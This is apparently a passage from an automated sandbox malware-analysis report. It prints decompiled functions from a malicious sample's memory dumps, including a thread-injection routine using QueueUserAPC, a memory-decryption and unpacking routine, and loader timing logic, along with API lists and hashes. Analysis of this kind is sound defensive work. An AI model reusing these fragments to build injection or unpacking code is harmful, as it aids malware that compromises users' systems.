Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94

Uniqueness

Uniqueness Score: -1.00%

Function 00A16A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00A16A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0xa1d238 = _t10;
				if(_t10 != 0) {
					 *0xa1d1a8 = GetTickCount();
					_t12 = E00A18F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L00A1B226();
							_t33 = _t14 + _t16;
							_t18 = E00A17E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E00A16B96(_t25) != 0) {
							 *0xa1d260 = 1; // executed
						}
						_t12 = E00A1225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x00a16a56
0x00a16a5c
0x00a16a5d
0x00a16a69
0x00a16a71
0x00a16a76
0x00a16a86
0x00a16a8b
0x00a16a92
0x00a16a94
0x00a16a99
0x00a16a9f
0x00a16aa5
0x00a16aaf
0x00a16ab3
0x00a16ab5
0x00a16aba
0x00a16abb
0x00a16abc
0x00a16ac1
0x00a16ac7
0x00a16ad0
0x00a16ad1
0x00a16ad6
0x00a16adc
0x00a16ae8
0x00a16aea
0x00a16aea
0x00a16af4
0x00a16af4
0x00a16a78
0x00a16a7a
0x00a16a7a
0x00a16afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00A1807D,?), ref: 00A16A69
GetTickCount.KERNEL32 ref: 00A16A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,00A1807D,?), ref: 00A16A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,00A1807D,?), ref: 00A16A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 00A16ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,00A1807D,?), ref: 00A16AD6

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 77cf128bf2c0a7719711982baa182d778d14f0d1fa65dac08e1e86f541862094
Instruction ID: d7d8c8469eac27712389d0de35fdc46b3ecb6fb8a794af1defb50cf0f32bd725
Opcode Fuzzy Hash: 77cf128bf2c0a7719711982baa182d778d14f0d1fa65dac08e1e86f541862094
Instruction Fuzzy Hash: EB116572644200BFE720EBF4DD0ABEE76EDDF487A0F108529F945D6190FAB4D8818665

Uniqueness

Uniqueness Score: -1.00%

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100012DC(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x100012f3
0x100012f9
0x100012fd
0x10001308
0x10001310
0x10001319
0x1000131d
0x10001324
0x1000132b
0x1000132d
0x10001333
0x10001310
0x10001337

APIs

CreateThread.KERNEL32 ref: 100012F3
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
GetLastError.KERNEL32(00000000), ref: 10001313
TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
CloseHandle.KERNEL32(00000000), ref: 10001324
SetLastError.KERNEL32(00000000), ref: 1000132D

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A1225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00A1225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E00A1550E();
				if(_t21 != 0) {
					_t59 =  *0xa1d25c; // 0x2000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0xa1d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0xa1d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E00A13D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0xa1d27c; // 0x271a5a8
					if( *0xa1d25c > 5) {
						_t8 = _t26 + 0xa1e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0xa1ea15; // 0x44283a44
						_t27 = _t7;
					}
					E00A11BF4(_t27, _t27);
					_t31 = E00A11B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0xa1d270 =  *0xa1d270 ^ 0x81bbe65d;
						_t32 = E00A12049(0x60);
						__eflags = _t32;
						 *0xa1d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0xa1d32c; // 0x31395b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0xa1d32c; // 0x31395b0
							 *_t51 = 0xa1e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0xa1d238, 0, 0x43);
							__eflags = _t36;
							 *0xa1d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0xa1d25c; // 0x2000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0xa1d27c; // 0x271a5a8
								_t13 = _t58 + 0xa1e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0xa1c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E00A1269C( ~_v8 &  *0xa1d270, 0xa1d00c); // executed
								_t42 = E00A14094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E00A196A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E00A16786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E00A13DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0xa1d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E00A1A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x00a1225b
0x00a12266
0x00a12269
0x00a1226c
0x00a1226f
0x00a12276
0x00a12278
0x00a12284
0x00a12286
0x00a12286
0x00a1228f
0x00a12297
0x00a1229a
0x00a122b4
0x00a122c0
0x00a122c2
0x00a122c7
0x00a122d1
0x00a122d1
0x00a122c9
0x00a122c9
0x00a122c9
0x00a122c9
0x00a122d8
0x00a122e5
0x00a122ec
0x00a122f1
0x00a122f1
0x00a122f9
0x00a122fc
0x00a12322
0x00a1232e
0x00a12333
0x00a12335
0x00a1233a
0x00a12366
0x00a12368
0x00a1233c
0x00a12340
0x00a12345
0x00a1234a
0x00a12351
0x00a12357
0x00a1235c
0x00a12362
0x00a12369
0x00a1236b
0x00a1236d
0x00a1237c
0x00a12382
0x00a12384
0x00a12389
0x00a123b9
0x00a123bb
0x00a1238b
0x00a1238b
0x00a12391
0x00a1239e
0x00a123a4
0x00a123a4
0x00a123ac
0x00a123b5
0x00a123bc
0x00a123be
0x00a123c0
0x00a123c7
0x00a123d4
0x00a123d9
0x00a123de
0x00a123e0
0x00a123e2
0x00000000
0x00000000
0x00a123e4
0x00a123e9
0x00a123eb
0x00a123f2
0x00a123f6
0x00a123f9
0x00a1240e
0x00a12412
0x00a12417
0x00000000
0x00a12417
0x00a123fb
0x00a123fd
0x00000000
0x00000000
0x00a12403
0x00a12408
0x00a1240a
0x00a1240c
0x00000000
0x00000000
0x00000000
0x00a1240c
0x00a123ef
0x00a123ef
0x00a123c0
0x00a122fe
0x00a122fe
0x00a12303
0x00a12419
0x00a1241d
0x00a12425
0x00a12425
0x00000000
0x00a1241d
0x00a12309
0x00a1230c
0x00a12316
0x00a1231d
0x00000000
0x00a1242d
0x00a1242d
0x00a12431
0x00a12435
0x00a12435

APIs

Part of subcall function 00A1550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,00A12274,00000000,00000000), ref: 00A1551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 00A122F1

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

memset.NTDLL ref: 00A12340
RtlInitializeCriticalSection.NTDLL(03139570), ref: 00A12351

Part of subcall function 00A13DD9: memset.NTDLL ref: 00A13DEE
Part of subcall function 00A13DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00A13E22
Part of subcall function 00A13DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 00A13E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 00A1237C
wsprintfA.USER32 ref: 00A123AC

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 8caa32c87ecd01bcb656249f16e3f2ccd2e402e70172cba6bdae185458bbb98f
Instruction ID: 937d06f6d9c8cfeabb2457e00ac3fc915285b42a760efc8cc4f676296ceb17ac
Opcode Fuzzy Hash: 8caa32c87ecd01bcb656249f16e3f2ccd2e402e70172cba6bdae185458bbb98f
Instruction Fuzzy Hash: 3A5112B5A40224ABDB20DBE4EC45BEE37BCAB08704F148426F511DB191E7B8DDE1CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A13AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 00A13B46
SysAllocString.OLEAUT32(00A11885), ref: 00A13B89
SysFreeString.OLEAUT32(00000000), ref: 00A13B9D
SysFreeString.OLEAUT32(00000000), ref: 00A13BAB

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 4b64b1ccbcac008ff5e51f068348b5e13cdc6e7f334773e29e045ddb23b1811f
Instruction ID: bf3eff282d3758b3af7211260e8cac7b314e326025ed73124b87cad65d6e9f42
Opcode Fuzzy Hash: 4b64b1ccbcac008ff5e51f068348b5e13cdc6e7f334773e29e045ddb23b1811f
Instruction Fuzzy Hash: 3D31EDB2904109EFCF05DF98D8C48EE7BB5FF58340B10846EE55AA7210E7759A85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100018F4(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x10004130;
				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x1000414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x100051a7; // 0x100051a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x1000414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x100018fb
0x1000190b
0x10001912
0x10001915
0x1000192a
0x10001931
0x10001936
0x10001947
0x1000194a
0x10001952
0x10001955
0x100019ff
0x1000195b
0x1000195b
0x1000195f
0x100019c7
0x10001961
0x10001961
0x10001964
0x10001966
0x1000196e
0x10001971
0x10001974
0x1000197c
0x10001984
0x10001985
0x10001986
0x1000198d
0x1000198d
0x100019a1
0x100019a6
0x100019af
0x100019b6
0x100019b9
0x100019bd
0x100019c2
0x00000000
0x00000000
0x10001979
0x10001979
0x100019c4
0x100019d1
0x100019e6
0x100019d3
0x100019dc
0x100019e1
0x100019f7
0x100019f7
0x10001a06
0x10001a0c

APIs

VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Strings

Mar 9 2021, xrefs: 1000197C

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 9 2021
API String ID: 4010158826-2159264323
Opcode ID: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
Opcode Fuzzy Hash: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A13BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00A13BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E00A19763(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E00A1A022(_t23);
						}
					}
					return _t38;
				}
				_t26 = E00A1A72D(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0xa1d2a8, 1, 0,  *0xa1d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E00A18A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E00A117D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E00A11F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E00A142EA( &_v32, _t39);
					goto L13;
				}
			}

0x00a13bf1
0x00a13bfe
0x00a13c04
0x00a13c05
0x00a13c06
0x00a13c07
0x00a13c08
0x00a13c0c
0x00a13c13
0x00a13c18
0x00a13c1c
0x00a13ca4
0x00a13ca4
0x00a13ca7
0x00a13ca9
0x00a13cb1
0x00a13cb1
0x00a13cb7
0x00a13cba
0x00a13cba
0x00a13cb7
0x00a13cc5
0x00a13cc5
0x00a13c28
0x00a13c2f
0x00a13c31
0x00a13c31
0x00a13c48
0x00a13c4c
0x00a13c4f
0x00a13c5a
0x00a13c61
0x00a13c61
0x00a13c6d
0x00a13c6e
0x00a13c7c
0x00a13c70
0x00a13c70
0x00a13c71
0x00a13c72
0x00a13c73
0x00a13c74
0x00a13c75
0x00a13c75
0x00a13c81
0x00a13c86
0x00a13c88
0x00a13c8a
0x00a13c8a
0x00a13c91
0x00000000
0x00a13c93
0x00a13c93
0x00a13ca0
0x00000000
0x00a13ca0

APIs

CreateEventA.KERNEL32(00A1D2A8,00000001,00000000,00000040,00000001,?,74B5F710,00000000,74B5F730,?,?,?,00A16880,?,00000001,?), ref: 00A13C42
SetEvent.KERNEL32(00000000,?,?,?,00A16880,?,00000001,?,00000002,?,?,00A12417,?), ref: 00A13C4F
Sleep.KERNELBASE(00000BB8,?,?,?,00A16880,?,00000001,?,00000002,?,?,00A12417,?), ref: 00A13C5A
CloseHandle.KERNEL32(00000000,?,?,?,00A16880,?,00000001,?,00000002,?,?,00A12417,?), ref: 00A13C61

Part of subcall function 00A18A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,00A13C81,?,00A13C81,?,?,?,?,?,00A13C81,?), ref: 00A18B2B

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: be145b2ddd57b9b79cde74bcb9a5c27367b7bf9b3f2140431a899fef20726edf
Instruction ID: 76913378c70266272bd6d8ed3fae26d1cc864c2ebc398743eccdac04fed537a6
Opcode Fuzzy Hash: be145b2ddd57b9b79cde74bcb9a5c27367b7bf9b3f2140431a899fef20726edf
Instruction Fuzzy Hash: F4213073D00219ABCF10AFE589858EEB77DAF48350B058425FA11B7240E775DE8A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00A11A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00A11A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E00A12049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x00a11a7c
0x00a11a80
0x00a11a81
0x00a11a82
0x00a11a84
0x00a11a86
0x00a11a8b
0x00a11a8e
0x00a11b25
0x00a11b2c
0x00a11b2c
0x00a11a97
0x00a11a9e
0x00a11aae
0x00a11aae
0x00a11ab4
0x00a11ab6
0x00a11abb
0x00a11ac4
0x00a11acc
0x00a11acf
0x00a11ada
0x00a11ade
0x00a11ae0
0x00a11ae1
0x00a11aea
0x00a11aee
0x00a11aff
0x00a11af0
0x00a11af5
0x00a11afa
0x00a11b09
0x00a11b09
0x00a11ade
0x00a11b0f
0x00a11b15
0x00a11b15
0x00a11b1e
0x00a11b23
0x00a11b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 00A11A9E
lstrlenW.KERNEL32(?), ref: 00A11AD4
memcpy.NTDLL(00000000,?,?,?), ref: 00A11AF5
SysFreeString.OLEAUT32(?), ref: 00A11B09

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 4a4f5edbcd487e1b6700d3e4a17bb451040cd1303380a5c79889bf576ce07858
Instruction ID: b58bae47bdffd2953a2c2ce1f366f65cbeff9faf87faac7f9880086f0d029f5b
Opcode Fuzzy Hash: 4a4f5edbcd487e1b6700d3e4a17bb451040cd1303380a5c79889bf576ce07858
Instruction Fuzzy Hash: 43214F75A05209EFCB10DFA8D9849DEBBB9FF49351B1081A9E905E7210EB30EA85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A194A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00A194A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E00A12049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0xa1c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0xa1c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x00a194b4
0x00a194b8
0x00a194ba
0x00a194bb
0x00a194c3
0x00a194c3
0x00a194c7
0x00000000
0x00000000
0x00a194be
0x00a194bf
0x00a194c2
0x00a194c2
0x00a194cf
0x00a194d6
0x00a194da
0x00a194e2
0x00a194e8
0x00a194ea
0x00a194ef
0x00a194f3
0x00a194f5
0x00a194f8
0x00a194ff
0x00a194ff
0x00a19509
0x00a1950c
0x00a1950f
0x00a1950f
0x00a1951b
0x00a1951b
0x00a19528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,031395AC,?,00A123DE,?,00A17634,031395AC,?,00A123DE), ref: 00A194C3
StrTrimA.KERNELBASE(?,00A1C2A4,00000002,?,00A123DE,?,00A17634,031395AC,?,00A123DE), ref: 00A194E2
StrChrA.SHLWAPI(?,00000020,?,00A123DE,?,00A17634,031395AC,?,00A123DE), ref: 00A194ED
StrTrimA.SHLWAPI(00000001,00A1C2A4,?,00A123DE,?,00A17634,031395AC,?,00A123DE), ref: 00A194FF

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: a849ff405a7f5cca98e57f92c8858db7fd6a9e0c81e5d1c9f8671083914e0115
Instruction ID: f518cdd9b1440348c9a3ecb627013fec2ebb44ee08800d7fc7ec50f1fb9aec80
Opcode Fuzzy Hash: a849ff405a7f5cca98e57f92c8858db7fd6a9e0c81e5d1c9f8671083914e0115
Instruction Fuzzy Hash: 8101B1716453216FD331DFA98C59FABBB98FB9ABA0F110618F841D7240DB60CC42C6A0

Uniqueness

Uniqueness Score: -1.00%

